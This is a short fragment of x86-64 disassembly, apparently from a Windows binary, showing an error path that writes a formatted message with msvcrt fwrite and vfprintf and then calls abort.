call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400028c0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]